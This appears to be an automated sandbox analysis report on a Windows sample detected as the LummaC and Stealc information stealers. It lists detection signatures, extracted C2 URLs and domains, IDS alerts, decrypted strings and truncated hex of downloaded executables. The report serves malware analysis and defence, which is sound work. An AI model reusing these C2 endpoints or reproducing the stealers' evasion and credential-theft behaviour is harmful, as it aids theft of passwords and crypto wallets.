Edit tour

Windows Analysis Report
jYd7FUgGZc.exe

Overview

General Information

Sample name:	jYd7FUgGZc.exe renamed because original name is a hash value
Original sample name:	bb2f1d74aabd9d2a6eb16dd3cde55e5e.exe
Analysis ID:	1576613
MD5:	bb2f1d74aabd9d2a6eb16dd3cde55e5e
SHA1:	2000c94f296473baa42444ea0fbd607a0f5cd19a
SHA256:	21c3ff6d14dbf792891e0c30da1eb51aa65c6f87c65cd8303e58ed26995a6390
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

jYd7FUgGZc.exe (PID: 7024 cmdline: "C:\Users\user\Desktop\jYd7FUgGZc.exe" MD5: BB2F1D74AABD9D2A6EB16DD3CDE55E5E)

JI1XME003OC9O5S8X2QF4.exe (PID: 7648 cmdline: "C:\Users\user~1\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe" MD5: 658970FA0BE64B36B89CABF358BA6993)

8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe (PID: 7780 cmdline: "C:\Users\user~1\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe" MD5: BF86F8D222211B376DD5C074CC460BED)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["deafeninggeh.biz", "sordid-snaked.cyou", "effecterectz.xyz", "tacitglibbr.biz", "wrathful-jammy.cyou", "diffuculttan.xyz", "debonairnukk.xyz", "awake-weaves.cyou", "immureprech.biz"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.1779295957.000000000179E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000003.1691365307.0000000005330000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000002.1777958771.0000000000D21000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: jYd7FUgGZc.exe PID: 7024	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: jYd7FUgGZc.exe PID: 7024	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: jYd7FUgGZc.exe PID: 7024	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe PID: 7780	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe PID: 7780	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe", CommandLine: "C:\Users\user~1\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe, ParentCommandLine: "C:\Users\user\Desktop\jYd7FUgGZc.exe", ParentImage: C:\Users\user\Desktop\jYd7FUgGZc.exe, ParentProcessId: 7024, ParentProcessName: jYd7FUgGZc.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe", ProcessId: 7648, ProcessName: JI1XME003OC9O5S8X2QF4.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:22:57.528530+0100	2028371	3	Unknown Traffic	192.168.2.7	49699	188.114.96.6	443	TCP
2024-12-17T10:22:59.591114+0100	2028371	3	Unknown Traffic	192.168.2.7	49700	188.114.96.6	443	TCP
2024-12-17T10:23:02.233210+0100	2028371	3	Unknown Traffic	192.168.2.7	49702	188.114.96.6	443	TCP
2024-12-17T10:23:05.869966+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	188.114.96.6	443	TCP
2024-12-17T10:23:09.361268+0100	2028371	3	Unknown Traffic	192.168.2.7	49714	188.114.96.6	443	TCP
2024-12-17T10:23:12.286328+0100	2028371	3	Unknown Traffic	192.168.2.7	49721	188.114.96.6	443	TCP
2024-12-17T10:23:15.965417+0100	2028371	3	Unknown Traffic	192.168.2.7	49735	188.114.96.6	443	TCP
2024-12-17T10:23:21.966500+0100	2028371	3	Unknown Traffic	192.168.2.7	49746	188.114.96.6	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:22:58.356415+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49699	188.114.96.6	443	TCP
2024-12-17T10:23:00.435136+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49700	188.114.96.6	443	TCP
2024-12-17T10:23:22.787772+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49746	188.114.96.6	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:22:58.356415+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49699	188.114.96.6	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:23:00.435136+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49700	188.114.96.6	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:22:57.528530+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.7	49699	188.114.96.6	443	TCP
2024-12-17T10:22:59.591114+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.7	49700	188.114.96.6	443	TCP
2024-12-17T10:23:02.233210+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.7	49702	188.114.96.6	443	TCP
2024-12-17T10:23:05.869966+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.7	49703	188.114.96.6	443	TCP
2024-12-17T10:23:09.361268+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.7	49714	188.114.96.6	443	TCP
2024-12-17T10:23:12.286328+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.7	49721	188.114.96.6	443	TCP
2024-12-17T10:23:15.965417+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.7	49735	188.114.96.6	443	TCP
2024-12-17T10:23:21.966500+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.7	49746	188.114.96.6	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:23:24.287978+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49752	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:22:55.752794+0100	2058230	1	Domain Observed Used for C2 Detected	192.168.2.7	50955	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:23:07.954779+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49703	188.114.96.6	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:23:40.727085+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49788	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: jYd7FUgGZc.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://tacitglibbr.biz:443/apiA	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/jd	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/s	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/es	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpDo	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpa-deddda976288001	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php6d	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/te5p	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000008.00000002.1779295957.000000000179E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: jYd7FUgGZc.exe.7024.3.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["deafeninggeh.biz", "sordid-snaked.cyou", "effecterectz.xyz", "tacitglibbr.biz", "wrathful-jammy.cyou", "diffuculttan.xyz", "debonairnukk.xyz", "awake-weaves.cyou", "immureprech.biz"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for domain / URL

Source: https://tacitglibbr.biz/s	Virustotal: Detection: 13%			Perma Link
Source: https://tacitglibbr.biz/es	Virustotal: Detection: 15%			Perma Link

Multi AV Scanner detection for submitted file

Source: jYd7FUgGZc.exe	ReversingLabs: Detection: 55%
Source: jYd7FUgGZc.exe	Virustotal: Detection: 66%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: jYd7FUgGZc.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sordid-snaked.cyou
Source: 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: awake-weaves.cyou
Source: 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wrathful-jammy.cyou
Source: 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: debonairnukk.xyz
Source: 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: diffuculttan.xyz
Source: 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: effecterectz.xyz
Source: 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: deafeninggeh.biz
Source: 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: immureprech.biz
Source: 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tacitglibbr.biz
Source: 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: PsFKDg--pablo

Source: jYd7FUgGZc.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.7:49746 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: JI1XME003OC9O5S8X2QF4.exe, 00000007.00000003.1634658826.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, JI1XME003OC9O5S8X2QF4.exe, 00000007.00000002.1771457288.0000000000062000.00000040.00000001.01000000.00000006.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.7:49700 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.7:49703 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.7:49721 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2058230 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz) : 192.168.2.7:50955 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.7:49746 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.7:49714 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.7:49702 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.7:49735 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.7:49699 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49788 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49746 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49699 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49699 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49700 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49700 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49703 -> 188.114.96.6:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: deafeninggeh.biz
Source: Malware configuration extractor	URLs: sordid-snaked.cyou
Source: Malware configuration extractor	URLs: effecterectz.xyz
Source: Malware configuration extractor	URLs: tacitglibbr.biz
Source: Malware configuration extractor	URLs: wrathful-jammy.cyou
Source: Malware configuration extractor	URLs: diffuculttan.xyz
Source: Malware configuration extractor	URLs: debonairnukk.xyz
Source: Malware configuration extractor	URLs: awake-weaves.cyou
Source: Malware configuration extractor	URLs: immureprech.biz

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 09:23:23 GMTContent-Type: application/octet-streamContent-Length: 1782272Last-Modified: Tue, 17 Dec 2024 08:54:10 GMTConnection: keep-aliveETag: "67613c32-1b3200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 46 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 47 00 00 04 00 00 53 11 1c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2b 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 70 68 6e 75 74 61 72 00 e0 1a 00 00 e0 2b 00 00 d2 1a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6e 6d 61 63 65 73 62 00 20 00 00 00 c0 46 00 00 04 00 00 00 0c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 46 00 00 22 00 00 00 10 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 09:23:28 GMTContent-Type: application/octet-streamContent-Length: 2859008Last-Modified: Tue, 17 Dec 2024 08:55:47 GMTConnection: keep-aliveETag: "67613c93-2ba000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 d0 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 4f 00 00 04 00 00 dd dd 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 04 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 74 6f 61 75 75 6b 78 00 00 2a 00 00 c0 24 00 00 fa 29 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 